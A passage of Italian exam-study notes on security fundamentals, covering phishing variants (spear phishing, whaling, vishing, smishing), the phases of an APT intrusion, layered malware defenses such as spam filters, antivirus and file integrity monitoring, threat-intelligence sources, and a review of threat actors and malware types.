piu' comune.\nCaso reale — Gibson come vittima: Gibson stesso racconta di aver ricevuto una chiamata da un sedicente \u0026quot;security expert\u0026quot; di un'azienda con \u0026quot;Secure\u0026quot; nel nome. L'attaccante diceva che il suo computer stava mandando errori. Ha costruito credibilita' menzionando che lavorano con sistemi Windows, poi ha guidato Gibson nell'aprire il Visualizzatore eventi di Windows e descrivere gli errori — reali, ma banali. Alla prima descrizione di errori, l'attaccante ha esclamato \u0026quot;Oh mio Dio!\u0026quot; con tono da attore consumato, spiegando che il sistema era gravemente infetto. Poi, con un cambio di tono: \u0026quot;Ma oggi e' il tuo giorno fortunato. Ti aiuto io.\u0026quot; Ha chiesto a Gibson di aprire Esegui e digitare un URL. Gibson si e' fermato li'. Ha cercato di fare domande, l'attaccante e' diventato evasivo, poi ha riattaccato. Il link probabilmente portava a un sito con drive-by download, o l'attaccante avrebbe guidato l'installazione di malware passo passo — rassicurando con \u0026quot;e' normale, clicca OK, fidati di me\u0026quot; ad ogni errore. Ha investito molto tempo su Gibson. Il ruse funziona con molte persone.\nAttacchi Message-Based # mindmap root((MESSAGE-BASED ATTACKS)) Massa Non Mirata Spam email non richiesta opt-out conferma indirizzo attivo SPIM spam via IM SMS bypassa filtri email Phishing via Email Phishing rete larga impersona servizio noto beacon 1x1px valida inbox Spear Phishing mirato con OSINT contromisura firma digitale Whaling target dirigenti W-2 PII trasferimenti Phishing Altri Canali Vishing telefono VoIP caller ID falso segreteria automatica o operatore Smishing SMS bypassa filtri email hijack codice 2FA Exam Trap opt-out non rimuove dalla lista conferma indirizzo attivo vishing vs smishing = canale diverso stessa intenzione di phishing Panoramica Comparativa # Tre categorie: attacchi di massa non mirati, phishing via email (dal generico al dirigente), phishing via altri canali.\nMassa Non Mirata — Spam e SPIM # mindmap root((Massa Non Mirata)) Spam Cosa email di massa non richiesta parte innocua parte malevola Vettore indirizzi acquistati o raccolti beacon per validare quelli attivi Obiettivo link malevoli o allegati cliccare opt-out = conferma indirizzo SPIM Cosa spam via canali IM WhatsApp Telegram SMS Vettore username o numero di telefono lancia su larga scala Obiettivo bypassa filtri antispam email link malevoli su canali meno sorvegliati Phishing via Email — Generico, Mirato, Dirigenti # mindmap root((Phishing via Email)) Phishing Cosa rete larga come una lenza impersona servizio noto Vettore email spoofed con link o allegato beacon 1x1px per validare inbox Obiettivo credenziali o malware non sa se la vittima ha quell account Spear Phishing Cosa phishing mirato a individuo costruito con OSINT Vettore campo Da falsificato con nome noto dettagli personali per credibilita Obiettivo accesso account specifico Contromisura: firma digitale Whaling Cosa spear phishing verso dirigenti massimo valore massimo rischio Vettore email da falso board legal o BEC impersona CEO o CFO Obiettivo dati riservati o trasferimenti W-2 buste paga PII Phishing altri Canali — Vishing e Smishing # mindmap root((Phishing Altri Canali)) Vishing Cosa phishing via telefono o VoIP Voice + phishing Vettore caller ID falsificato segreteria automatica o operatore vivo Obiettivo credenziali e dati finanziari SSN CVV numero carta Smishing Cosa phishing via SMS SMS + phishing Vettore numero spoofed o shortcode bypassa filtri email Obiettivo hijack codice 2FA click su link malware Infografica # # Spam # Email indesiderata o non richiesta. Parte e' innocua (pubblicita'), parte e' malevola: link malevoli, codice, allegati.\nOpt-in / opt-out: le aziende legittime ti chiedono di fare opt-in (iscriverti volontariamente) per ricevere le loro comunicazioni. I termini spesso includono la condivisione dell'indirizzo con i partner. La legge obbliga a includere il link di opt-out (disiscriverti) in ogni mail.\nI criminali includono il link di opt-out non per toglierti dalla lista — per confermare che il tuo indirizzo e' valido e attivo. Cliccare opt-out produce piu' spam, non meno.\nVettore email — invio massivo a liste di indirizzi acquistati, raccolti via scraping o validati con beacon Causa indirizzi email pubblicamente disponibili o trapelati in breach; costo basso dell'invio massivo Effetto voluto consegnare link malevoli o allegati infetti a un sottoinsieme degli utenti raggiunti, o validare indirizzi attivi per campagne mirate Difesa spam filter a livello UTM, mail server e client; whitelist/blacklist; non cliccare opt-out su spam malevolo Indicatore volume elevato di email in inbox o junk da mittenti sconosciuti, beacon pixel che carica da server sconosciuto all'apertura dell'email CIA Triad Confidentiality (Riservatezza) se il link porta a credential harvesting; Integrity (Integrita') se l'allegato installa malware Scope singolo utente — ogni destinatario riceve la mail individualmente; l'impatto dipende da quanti cliccano SPIM — Spam over Instant Messaging # Spam inviato tramite canali IM: WhatsApp, Telegram, Facebook Messenger, Snapchat, SMS. Bypassa filtri antivirus e antispam perche' passa su canali diversi dalla email. Puo' arrivare via username o numero di telefono. L'attaccante non sa se hai quella specifica app — lancia su larga scala sperando che qualcuno ci caschi.\nVettore instant messaging — SMS, WhatsApp, Telegram, Facebook Messenger, Snapchat Causa canali IM non soggetti ai filtri antispam email; nessuna autenticazione del mittente richiesta Effetto voluto consegnare link malevoli su canali meno sorvegliati, raggiungere utenti che filtrano l'email ma non i messaggi istantanei Difesa non cliccare link da contatti sconosciuti su IM, segnalare spam alle piattaforme, impostazioni di privacy che limitano i messaggi da sconosciuti Indicatore messaggi non richiesti con link da numeri o account sconosciuti su canali IM CIA Triad Confidentiality (Riservatezza) se porta a credential harvesting; Integrity (Integrita') se consegna malware tramite link Scope singolo utente — l'attaccante non sa quali piattaforme usa la vittima; scalabile su larga scala tramite automazione Phishing # Inviare email per ingannare l'utente a rivelare informazioni personali o cliccare un link. Il link porta a un sito malevolo identico a quello legittimo, oppure l'email include un allegato malevolo.\nL'attaccante non sa se il destinatario ha un account nel servizio che impersona — come un pescatore che non sa se ci sono pesci quando lancia la lenza. Se manda abbastanza email, la probabilita' che qualcuno con un account PayPal riceva la mail fake e' alta.\nEmail tipo:\n\u0026quot;Abbiamo rilevato attivita' sospetta sul tuo account. Sospenderemo l'account a meno che tu non acceda e validi le tue credenziali. Clicca qui per validare il tuo account.\u0026quot;\nLe aziende legittime non chiedono mai di rivalidare le credenziali via email seguendo un link.\nPhishing per installare malware: email con titoli acchiappa-click. Cliccando appare: \u0026quot;Il tuo plugin e' obsoleto. Vuoi aggiornare?\u0026quot; → clic → malware. Il pretesto \u0026quot;aggiorna il plugin\u0026quot; viene ancora usato oggi con nomi diversi (PDF reader, video player, browser update).\nNigerian scam (419 scam): qualcuno ha milioni bloccati e ha bisogno di aiuto per sbloccarli. In cambio una percentuale per te. Richiede una piccola somma iniziale. La grande somma non arriva mai — arrivano solo nuove richieste di anticipi. Se fornisci i dati bancari, svuotano il conto.\nBeacon — phishing per validare indirizzi email: un beacon e' un'immagine invisibile (1x1 pixel trasparente) nell'email con un URL che contiene un codice univoco legato al tuo indirizzo. Quando il client email carica l'immagine, fa una richiesta HTTP al server dell'attaccante: il server segna il tuo indirizzo come valido e attivo. Non hai cliccato nulla — hai solo aperto la mail. Per questo i client moderni bloccano le immagini remote di default.\nForgery — email da \u0026quot;amici\u0026quot;: i criminali scansionano i social per identificare i contatti della vittima. Inviano email con il nome dell'amico nel campo \u0026quot;Da\u0026quot; ma con un indirizzo diverso sotto (forgery = falsificazione del mittente). La riga tipica: \u0026quot;pensavo ti potesse piacere questo\u0026quot; + link malevolo → drive-by download. In alternativa, se il PC dell'amico e' in una botnet, le email arrivano davvero dal suo indirizzo reale.\nVettore email — invio massivo con link a sito clone o allegato malevolo; mittente spoofato per sembrare un servizio noto Causa attaccante non sa se la vittima ha l'account che impersona; probabilita' statistica: invia abbastanza, qualcuno ci casca Effetto voluto furto di credenziali su sito clone, installazione malware tramite allegato o link, frode finanziaria (Nigerian scam) Difesa spam filter, anti-malware sul mail gateway, training su riconoscimento phishing, client email con blocco immagini remote di default Indicatore email con link a dominio diverso dal servizio impersonato, richiesta di validare credenziali seguendo un link, mittente con indirizzo diverso dal nome visualizzato CIA Triad Confidentiality (Riservatezza) — credenziali rubate su sito clone; Integrity (Integrita') e Availability (Disponibilita') se viene installato malware Scope singolo utente — ogni email e' inviata individualmente; l'impatto scala con il numero di destinatari che cliccano Spear Phishing # Phishing mirato. Invece di lanciare a chiunque (rete a strascico), lo spear phishing mira a gruppi specifici o singoli individui — come la pesca con la fiocina (spear = lancia): miri a un pesce preciso.\nEsempio: email che sembra venire dal CEO e chiede ai dipendenti la propria password. Il campo \u0026quot;Da\u0026quot; puo' essere falsificato per includere nome e titolo del CEO.\nContromisura: firme digitali. Il CEO firma le proprie email con una firma crittografica verificabile dai destinatari. Una firma digitale non puo' essere falsificata.\nVettore email — campo \u0026quot;Da\u0026quot; falsificato con nome e titolo di una persona reale nota alla vittima (CEO, collega, fornitore); costruito con OSINT Causa ricerca OSINT preliminare (LinkedIn, social media, sito aziendale) che fornisce dettagli personali per rendere l'email credibile Effetto voluto furto di credenziali specifiche, installazione malware su sistema di interesse, accesso a sistemi o dati di un target preciso Difesa firme digitali sulle email degli executive, DMARC/DKIM/SPF, training specifico per riconoscere spear phishing, verifica out-of-band di richieste insolite Indicatore email con dettagli personali corretti ma da dominio leggermente diverso, richieste urgenti e insolite da mittenti noti, firma digitale assente su email che la richiederebbe CIA Triad Confidentiality (Riservatezza) — credenziali o dati di un target specifico; Integrity (Integrita') se l'obiettivo e' installare malware su quel sistema preciso Scope singolo individuo o piccolo gruppo — mira a una persona specifica con alto valore di accesso Whaling # Forma di spear phishing che mira ai dirigenti di alto livello. I casinò chiamano \u0026quot;balene\u0026quot; (whales) i grandi spenditori — vale la pena dedicarci attenzione extra. I dirigenti sono la preda di valore massimo: accesso alle informazioni piu' sensibili.\nDue varianti:\nTarget = il dirigente: mirare al CEO/CFO per accedere a informazioni che solo loro hanno Impersonare il dirigente: fingere di essere il CEO per mandare email malevole ad altri dipendenti chiave Exam tip — discriminante esame: qualsiasi scenario in cui un dirigente (CEO, CFO, COO) riceve un'email mirata da qualcuno che impersona un altro dirigente = Whaling, non Phishing. Phishing e' il termine ombrello per questo tipo di attacco in generale. Whaling e' la risposta corretta quando il target e' specificamente un executive di alto livello. Smishing e Vishing si escludono da soli se il vettore e' email.\nCaso reale — Seagate: email all'HR apparentemente dal CEO, che richiedeva moduli W-2 e PII. L'HR ha consegnato i dati di quasi 10.000 dipendenti.\nCaso reale — Snapchat: il team payroll ha ricevuto una email che sembrava dal CEO e richiedeva dati sulle buste paga. Il team ha risposto. I dati sono finiti su internet.\nAlcune varianti si spacciano per reclami del Better Business Bureau o del Dipartimento di Giustizia per attirare l'attenzione dei dirigenti su questioni che toccano profitti e reputazione.\nVettore email — campo \u0026quot;Da\u0026quot; falsificato con identita' di executive, board o entita' legale; costruito con OSINT mirato sul dirigente target Causa executive con accesso a dati sensibili e autorita' decisionale; tendenza ad obbedire a richieste percepite come provenienti da figure di autorita' superiori Effetto voluto furto di dati riservati di alto valore (W-2, PII dipendenti, segreti industriali), trasferimenti di denaro da persone con autorita' finanziaria Difesa firme digitali sulle email degli executive, procedure di verifica out-of-band per richieste insolite, training specifico per dirigenti e HR/finance Indicatore email da indirizzo CEO/CFO con richiesta urgente e riservata, richiesta di file con dati sensibili senza prassi normale, email ricevuta da dominio simile ma non identico CIA Triad Confidentiality (Riservatezza) — dati riservati di alto valore (PII dipendenti, informazioni finanziarie, segreti aziendali) Scope organizzazione — il target e' un singolo executive o un dipendente HR/finance, ma l'impatto e' sull'intera organizzazione per la sensibilita' dei dati Vishing # Vishing = Voice + phishing. Phishing via telefono o VoIP invece che via email. Il VoIP permette di falsificare il caller ID — l'attaccante fa apparire qualsiasi numero voglia, incluso quello di una banca reale o un numero locale.\nVariante automatizzata: messaggio vocale automatico lasciato in segreteria. \u0026quot;C'e' un problema con la tua carta — chiama questo numero.\u0026quot; Se richiami, una registrazione ti chiede i dati uno alla volta: nome, data di nascita, SSN, numero carta, scadenza, CVV. Alla fine: \u0026quot;account verificato.\u0026quot; Hai appena regalato tutto a una macchina.\nVariante call center criminale: chiamata da \u0026quot;Credit Services\u0026quot; che offre tassi piu' bassi. Il caller ID mostra un numero con la stessa area code della vittima per sembrare locale. La voce annuncia: \u0026quot;questo e' il tuo secondo e ultimo avviso\u0026quot; (urgenza artificiale). Se rispondi, un operatore vivo fa domande \u0026quot;qualificanti\u0026quot; (debito, tassi), poi inizia a chiedere le ultime 4 cifre del SSN \u0026quot;per verificare l'account\u0026quot;, il CVV \u0026quot;per confermare che hai ancora la carta.\u0026quot; Obiettivo finale: numero carta, scadenza, CVV per transazioni fraudolente.\nVettore voce — telefono o VoIP con caller ID falsificato per sembrare una banca, un ente governativo o l'IT interno Causa VoIP permette di falsificare qualsiasi numero; tendenza a fidarsi di chiamate in entrata da numeri conosciuti o autorevoli Effetto voluto furto di dati finanziari (numero carta, CVV, SSN), credenziali di accesso a sistemi aziendali, codici OTP per bypassare 2FA Difesa non fornire mai dati sensibili a chiamate in entrata non attese; richiamare sempre su numero ufficiale; training su tattiche vishing Indicatore chiamata non richiesta con urgenza su account o sicurezza, richiesta di dati che una banca o ente legittimo non chiede via telefono CIA Triad Confidentiality (Riservatezza) — dati finanziari e credenziali cedute verbalmente Scope singolo utente — ogni chiamata mira a un individuo; l'impatto e' personale o, se vishing aziendale, puo' dare accesso a sistemi dell'organizzazione Smishing # Smishing = SMS + phishing (mashup: parola ottenuta unendo le due). Phishing via SMS invece che via email. Bypassa i filtri antispam email.\nCaso reale — MFA hijacking via smishing: l'attaccante vuole l'account Google della vittima. Va sul login di Google, inserisce l'email della vittima, clicca \u0026quot;Password dimenticata\u0026quot; → \u0026quot;invia codice al telefono.\u0026quot; Il codice arriva sul telefono della vittima. Nel frattempo la vittima riceve un SMS che sembra da \u0026quot;Google Security\u0026quot;: \u0026quot;attivita' sospetta rilevata — ti stiamo inviando un codice, rispondici o bloccheremo l'account.\u0026quot; La vittima risponde con il codice. L'attaccante lo usa immediatamente per resettare la password e prendere il controllo.\nLa stessa tecnica funziona con qualsiasi servizio con 2FA via SMS. Su un conto bancario: svuotamento in minuti dal momento in cui la vittima risponde.\nExam tip: vishing = phishing via telefono/VoIP. Smishing = phishing via SMS. Stessa intenzione, canale diverso.\nVettore SMS — numero spoofato o shortcode che sembra provenire da banca, servizio, o piattaforma nota Causa SMS bypassa i filtri antispam email; gli utenti si fidano di piu' dei messaggi sul telefono rispetto alle email Effetto voluto hijack del codice 2FA per bypassare autenticazione, furto di credenziali via link a sito clone, click su link con malware Difesa non rispondere mai a codici OTP ricevuti inaspettatamente, non cliccare link in SMS non richiesti, usare app authenticator invece di SMS per 2FA Indicatore SMS non richiesto con link o richiesta di codice da numero che sembra legittimo, richiesta urgente di rispondere con un codice CIA Triad Confidentiality (Riservatezza) — credenziali e codici 2FA ceduti via SMS permettono accesso completo all'account Scope singolo utente — ogni SMS mira a un numero di telefono specifico; l'impatto e' immediato se il codice OTP viene ceduto Un Click Basta — Come Funziona un Attacco APT End-to-End # mindmap root((APT END-TO-END)) Fase 1-3 Preparazione Ricognizione OSINT social media LinkedIn social engineering telefonico Weaponization spear phishing con link malevolo drive-by o credential harvesting Delivery email inviata da sistema esterno Fase 4-6 Ingresso Click utente apre link sito apparentemente legittimo Exploitation credenziali rubate o malware installato RAT silenzioso sul sistema Initial Access credenziali usate per entrare o controllo malware attivato Fase 7-10 Espansione Lateral Movement WMI PowerShell meno di due ore dal click Privilege Escalation permessi elevati account backdoor nascosti Collection email file database chunk cifrati pronti Exfiltration dati verso server attaccante fuori dalla rete Exam Trap ransomware cifra backup prima elimina via di fuga tempo ingresso a lateral movement meno di due ore Un singolo click di un utente non formato puo' dare a un attaccante accesso quasi illimitato alla rete di un'organizzazione. Questo schema riassume il flusso tipico usato dagli APT — l'attaccante puo' essere ovunque nel mondo, ha bisogno solo di internet.\nFase 1 — Ricognizione (Reconnaissance): l'attaccante usa intelligence pubblica per identificare il target. Fonti tipiche: social media, comunicati stampa, LinkedIn. In alternativa: social engineering via telefono o email per raccogliere informazioni sull'organizzazione o sui singoli dipendenti.\nFase 2 — Costruzione dell'arma (Weaponization): costruisce una spear phishing email con un link malevolo. Il link puo' puntare a malware hostato su un altro server (drive-by download) oppure a un sito fake per credential harvesting. In alternativa, allega direttamente il malware.\nFase 3 — Consegna (Delivery): invia la spear phishing email al target da un sistema esterno. Il testo e' costruito per spingere il clic.\nFase 4 — Click (User Interaction): se l'utente clicca il link, viene portato a un sito che sembra legittimo.\nFase 5 — Furto credenziali o installazione malware (Exploitation / Installation): due possibili esiti a seconda del tipo di link:\nSito fake → l'utente inserisce le credenziali → mandate all'attaccante Drive-by download → malware (es. RAT) installato silenziosamente sul sistema Fase 6 — Accesso iniziale (Initial Access): l'attaccante usa le credenziali rubate per entrare nel sistema target, oppure controlla il malware installato per iniziare a raccogliere informazioni — incluse le credenziali presenti sul sistema.\nFase 7 — Movimento laterale (Lateral Movement): con le credenziali della vittima, l'attaccante si muove ad altri sistemi della rete interna. Tool comuni: WMI (Windows Management Instrumentation) e PowerShell per scansionare e raggiungere altri host.\nFase 8 — Escalation dei privilegi (Privilege Escalation): il sistema target iniziale ha accesso limitato. L'attaccante ottiene permessi piu' alti per raggiungere server con dati sensibili, installa malware su altri sistemi e crea account backdoor nascosti nella rete.\nFase 9 — Raccolta (Collection): il malware cerca dati nella rete — email, file su PC e server. Raccoglie tutto cio' che e' di interesse e lo divide in chunk cifrati.\nFase 10 — Esfiltrazione (Exfiltration): i chunk cifrati vengono inviati al server dell'attaccante all'esterno della rete.\nIl tempo tipico tra l'infezione iniziale e l'inizio del lateral movement: meno di due ore. In un attacco ransomware, la cifratura dei dati puo' iniziare non appena il malware trova i file — alcune varianti cercano prima i backup online per cifrarli prima di procedere con il resto, eliminando la via di fuga piu' ovvia.\nBloccare Malware e Attacchi — Defense in Depth # mindmap root((DEFENSE IN DEPTH)) Strati Email Spam Filter Mail Gateway blocca prima che arrivi UTM poi mail server poi client Anti-malware Mail Gateway allegati infetti rimossi notifica utente Strati Endpoint Anti-malware su tutti i sistemi workstation e server real-time scheduled manual Signature-based pattern nel file non hash intero aggiornamenti piu volte al giorno Heuristic-based comportamento anomalo cattura zero-day e varianti inedite Strati Perimetro UTM Unified Threat Management firewall IPS antivirus filtro VPN ispeziona traffico anomalo in uscita File Integrity Monitor hash baseline vs hash attuale efficace contro rootkit Exam Trap AV signature NON e hash del file pattern interno varianti resistenti FIM rileva compromissione gia avvenuta AV rileva malware quando arriva La difesa contro il malware non si basa su un singolo controllo ma su layered security (sicurezza a strati), detta anche defense-in-depth: piu' livelli di protezione sovrapposti, in modo che se uno fallisce gli altri reggono.\nSpam filter sul mail gateway: gli attacchi phishing arrivano come spam malevolo. Il filtro spam sul server email rileva e blocca lo spam prima che raggiunga gli utenti. Se l'email malevola non arriva mai nella inbox, l'utente non puo' cliccare il link. Alcune reti instradano tutta la posta attraverso un dispositivo dedicato solo al filtraggio prima che entri nel mail server interno.\nAnti-malware sul mail gateway: le email malevole spesso includono allegati infetti. Il software anti-malware sul mail server li rileva e rimuove l'allegato prima della consegna, notificando l'utente di cosa e' stato rimosso e perche'. Due livelli sullo stesso vettore: prima il filtro spam (blocca l'email), poi l'anti-malware (blocca l'allegato se l'email passa).\nAnti-malware su tutti i sistemi: workstation e server hanno tutti software anti-malware installato. I server possono avere software specializzato aggiuntivo in base alle applicazioni in esecuzione — un web server ha esigenze diverse da un file server o da un database server.\nPerimetro e firewall — UTM: molte reti includono strumenti di detection che monitorano il traffico attraverso il firewall. Un esempio e' l'UTM (Unified Threat Management): ispeziona il traffico di rete per ridurre il rischio che il malware entri nella rete. L'UTM combina piu' funzioni in un unico dispositivo (firewall, IPS, antivirus, filtro contenuti, VPN).\nIl principio: ogni strato copre il fallimento del precedente. Un attaccante che bypassa il filtro spam trova l'anti-malware sull'allegato. Se bypassa anche quello, trova l'anti-malware sull'endpoint. Se bypassa anche quello, il firewall/UTM monitora il traffico anomalo in uscita verso il C2.\nSpam Filter — Tre Livelli in Sequenza # Le organizzazioni implementano lo spam filtering a piu' livelli sovrapposti:\nUTM (perimetro): primo filtro prima ancora che l'email entri nel mail server interno Mail server: secondo filtro — blocca spam aggiuntivo, consegna agli utenti solo cio' che passa Client dell'utente (junk mail filter): check finale sul dispositivo dell'utente La sfida di qualsiasi filtro spam e' non bloccare email legittime. Un cliente che cerca di acquistare qualcosa non deve essere silenziosamente scartato. Per questo i filtri spam tendono ad essere conservativi: preferiscono lasciar passare spam piuttosto che bloccare email valide. Di conseguenza una certa quantita' di spam arriva sempre.\nSafe address / Safe domain (whitelist): puoi configurare indirizzi o domini come sempre fidati. homer@springfield.com come safe address → quella specifica email passa sempre. springfield.com come safe domain → tutte le email da quel dominio passano senza essere filtrate. Stessa logica al contrario per il blocco: puoi bloccare un singolo indirizzo o un intero dominio.\nAntivirus e Anti-Malware — Signature vs Heuristic # Il termine \u0026quot;antivirus\u0026quot; e' rimasto per tradizione, ma i software moderni proteggono contro tutti i tipi di malware: virus, Trojan, worm, rootkit, spyware, adware. La distinzione e' solo storica.\nModalita' di scansione:\nReal-time protection: monitora continuamente il sistema. Quando l'utente visita un sito, scarica un file o apre un allegato, l'AV lo scansiona prima che venga eseguito Scheduled scan: scansione completa pianificata (tipicamente settimanale) Manual scan: eseguita su richiesta quando si sospetta un'infezione Se rileva malware: lo mette in quarantena — il file viene isolato, non puo' fare danno, ma non viene cancellato subito. Un security professional puo' rilasciare un file in quarantena in una VM isolata per analizzarlo. L'utente riceve una notifica — molti la ignorano cliccando OK senza leggere, vanificando il controllo.\nSignature-based detection (rilevamento basato su firma): i malware hanno pattern caratteristici. I signature file (detti anche data definition file o virus definition) contengono questi pattern. L'AV scansiona i file cercando corrispondenze.\nLa signature non e' un semplice hash/digest dell'intero file. Un hash confronta il file byte per byte — basta modificare 1 bit e il hash cambia, il malware sfugge. Una signature e' un pattern all'interno del file: una sequenza di byte caratteristica, una struttura di codice ricorrente. Puo' matchare anche varianti dello stesso malware che hanno subito piccole modifiche. I moderni AV usano entrambe le tecniche: hash per match esatti, pattern per varianti.\nI malware developer rilasciano continuamente nuove varianti, quindi e' essenziale aggiornare i signature file regolarmente. L'AV controlla e scarica aggiornamenti automaticamente, piu' volte al giorno. Su sistemi senza accesso a internet, l'admin scarica manualmente i signature file — e deve verificare l'integrita' confrontando il hash del file sul sito del vendor con quello del file scaricato.\nHeuristic-based detection (rilevamento basato su comportamento): rileva malware sconosciuto — quello che non ha ancora una signature nel DB. Invece di cercare pattern noti, osserva il comportamento del programma: fa cose anomale? Tenta di modificare file di sistema? Si autocopia? Se il comportamento corrisponde a quello tipico del malware, lo segnala anche senza una firma corrispondente. Piu' falsi positivi rispetto alla signature detection, ma cattura le minacce nuove (zero-day, varianti inedite).\nFile Integrity Monitor (FIM): tecnica distinta dalla signature detection. Il FIM calcola il hash dei file di sistema come baseline (fotografia dello stato buono noto). Periodicamente ricalcola i hash degli stessi file e li confronta con la baseline. Se il hash e' cambiato → il file e' stato modificato → alert.\nSignature detection File Integrity Monitor Cerca Pattern di malware noto dentro il file Modifiche a file che dovrebbero essere stabili Confronta File sconosciuto vs DB di pattern File attuale vs baseline nota-buona Rileva Malware quando arriva Compromissione gia' avvenuta Utile contro Virus, Trojan, worm Rootkit, backdoor, tamper post-exploit Il FIM e' particolarmente efficace contro i rootkit: i rootkit modificano file di sistema per nascondersi, e quella modifica cambia il hash. L'AV tradizionale puo' non vederli perche' il rootkit usa hooking per nascondersi; il FIM li rileva dal cambiamento del hash sul disco.\nThreat Intelligence Sources # mindmap root((THREAT INTEL SOURCES)) Standard e Protocolli STIX cosa condividere linguaggio comune per cyber threat TAXII come condividere protocollo di scambio AIS servizio CISA real-time usa entrambi STIX e TAXII Database e Indicatori Vulnerability Databases NVD NIST e CVE MITRE ID univoco CVSS score IoC evidenze attacco in corso hash URL nomi file CISA pubblica Malware Analysis Report Fonti Speciali Dark Web tool accesso a botnet dati rubati CVE appaiono prima dei DB ufficiali Public Private Sharing InfraGard FBI con settori privati condivisione tra organizzazioni Research Sources Vendor Websites patch CVE del prodotto specifico Conferences Black Hat DEF CON RSA RFC IETF standard internet autorevoli es RFC 6749 OAuth 2.0 OSINT (Open Source Intelligence): qualsiasi informazione disponibile al pubblico — siti web, social media, comunicati stampa. Gli attaccanti la usano per ricognizione (nome del CEO, struttura aziendale, tecnologie usate). I penetration tester la usano allo stesso modo. Opposto: closed/proprietary intelligence — trade secret e proprieta' intellettuale che l'organizzazione cerca di tenere privata.\nFonti Principali # Fonte Espansione Descrizione Vulnerability databases - Cataloghi di vulnerabilita' note. NVD (National Vulnerability Database, NIST) e CVE (Common Vulnerabilities and Exposures, MITRE/CISA) sono i piu' usati. Ogni voce ha un ID univoco, descrizione e CVSS score. TAXII Trusted Automated Exchange of Intelligence Info Standard aperto per definire come condividere threat intelligence — servizi e protocollo di scambio. Non specifica cosa condividere. STIX Structured Threat Information eXpression Standard aperto che definisce cosa condividere — linguaggio comune per descrivere cyber threat information. I dati STIX viaggiano via TAXII. AIS Automated Indicator Sharing Servizio CISA (Cybersecurity and Infrastructure Security Agency) per lo scambio in tempo reale di threat indicator e defensive measure. Usa entrambi TAXII e STIX. Dark web - Area di internet non indicizzata dai motori di ricerca. Richiede software specifico (Tor) o autenticazione. Criminali vendono tool, accesso a botnet, dati rubati. Alcune vulnerabilita' appaiono qui prima che nei database ufficiali. Public/private sharing - Organizzazioni che condividono threat intelligence tra settori. Esempio: InfraGard — no-profit che condivide informazioni tra FBI e membri in settori specifici. IoC Indicator of Compromise Indicatori di compromissione — evidenze che un attacco e' in corso o e' avvenuto. Possono essere ovvi (alert AV) o sottili (URL specifica, nome file, hash). CISA (Cybersecurity and Infrastructure Security Agency) pubblica Malware Analysis Report con IoC che i team security usano per cercare nei log. Predictive analysis - Tecniche per anticipare le prossime mosse di un attaccante. Ancora una sfida aperta — richiede di predire il futuro. Threat maps - Visualizzazioni di attacchi attivi. Mostrano replay di attacchi recenti (non real-time), dati anonimizzati, localizzazione geografica. File/code repositories - Repository come GitHub contengono codice e risorse per threat intelligence. Esempio: Awesome Threat Intelligence repository — lista curata di risorse. Research Sources # Fonti aggiuntive per i professionisti security:\nVendor websites: informazioni affidabili su prodotti del vendor, vulnerabilita' e patch. Fonte primaria per CVE che riguardano un prodotto specifico. Conferences: eventi di 3-5 giorni con speaker specializzati e training track. Black Hat, DEF CON, RSA Conference sono le piu' note. Local industry groups: gruppi di professionisti dello stesso settore che condividono informazioni e contatti. Academic journals: articoli peer-reviewed — documentano ricerche tecniche, alta credibilita' ma ciclo di pubblicazione lento. RFC (Request for Comments): documenti pubblicati dall'IETF che definiscono standard Internet. Fonte autorevole per specifiche tecniche. Esempio: RFC 6749 descrive OAuth 2.0 — come i token di autorizzazione vengono creati e scambiati. Se due siti seguono RFC 6749 possono scambiarsi token senza accordi bilaterali. Social media: utile per condividere informazioni tra peer in tempo reale, ma non autorevole. Verificare prima di agire su informazioni trovate sui social. Exam Topic Review # mindmap root((EXAM REVIEW)) Threat Actors nation-state APT interessi nazionali unskilled tool altrui pochi fondi hacktivist causa o movimento insider accesso legittimo DLP organized crime denaro struttura shadow IT sistemi non autorizzati Malware ransomware cifra chiede riscatto trojan utile falso RAT = controllo remoto worm self-replicating senza click spyware senza consenso include keylogger rootkit kernel hooking nasconde processi logic bomb evento trigger insider Common Attacks social engineering tattiche sociali phishing email spear whaling vishing telefono smishing SMS tailgating contromisura mantrap dumpster diving contromisura shredder baiting USB infetta lasciata apposta watering hole sito di fiducia compromesso Defense spam filter UTM mail server client antivirus signature heuristic FIM hash baseline vs attuale principi psicologici 7 authority trust etc Threat Actors # Nation-state: sponsorizzati da un governo, obiettivo = avanzare gli interessi nazionali Unskilled attacker: usa script e tool altrui, poca competenza, pochi fondi Hacktivist: attacca per una causa o movimento Insider: accesso legittimo alle risorse interne. Puo' diventare malicious insider per avidita' o vendetta. DLP per prevenire l'esfiltrazione su media esterni Organized crime: gruppo strutturato con motivazione primaria = denaro Shadow IT: sistemi o applicazioni usati senza autorizzazione IT Attributi dei threat actor: interni/esterni, risorse/funding, sofisticazione/capability. Motivazioni: data exfiltration, espionage, service disruption, blackmail, financial gain, philosophical/political beliefs, ethical hacking, revenge, disruption/chaos, war.\nOSINT usato sia da attaccanti che da cybersecurity professional per raccogliere informazioni su vulnerabilita' e come sfruttarle o difenderle.\nMalware Types # Ransomware: prende il controllo del sistema o dei dati, chiede riscatto Trojan: si presenta come qualcosa di utile ma e' malevolo. RAT = Trojan con controllo remoto Worm: self-replicating, si propaga senza interazione utente Spyware: installato senza consenso, monitora le attivita'. Spesso include keylogger Bloatware: installato insieme ad altro software. Puo' cambiare homepage o motore di ricerca Virus: si attacca a un'applicazione host, si replica quando l'host viene lanciato Keylogger: traccia tutti i tasti premuti, li invia all'attaccante (hardware o software) Logic bomb: si esegue in risposta a un evento (data, ora, condizione). Piantata da insider maliciosi Rootkit: accesso kernel-level, nasconde i propri processi, rimuove privilegi utente, modifica file di sistema Common Attacks # Social engineering: tattiche sociali per ottenere informazioni o far fare azioni. Puo' avvenire di persona, telefono, email, web. Molti social engineer si fingono qualcun altro Shoulder surfing: osservazione non autorizzata. Contromisura: screen filter Hoax: messaggio che avverte di una minaccia inesistente, spesso via email Tailgating: seguire qualcuno senza mostrare credenziali. Contromisura: access control vestibule (mantrap) Dumpster diving: rovistare nei rifiuti per trovare informazioni. Contromisura: shredder o incenerimento Baiting: lasciare supporti fisici infetti (USB, CD) dove la vittima li trovi per curiosita'. Vettore fisico, NON digitale. Contromisura: policy no-USB + disable autorun Watering hole: compromette siti che il gruppo target visita e di cui si fida, poi attende Pretexting: presenta uno scenario falso prima di chiedere informazioni Spam: email non richiesta. Usata in molti tipi di attacco Phishing: email per indurre a rivelare informazioni, installare malware o cliccare link Spear phishing: mira a gruppi specifici. Whaling: mira a dirigenti di alto livello Vishing: phishing via telefono/VoIP. Alcune varianti iniziano con voce registrata poi passano a persona live Blocking Malware and Other Attacks # Anti-spam: blocca email non richiesta. Configurabile per singolo 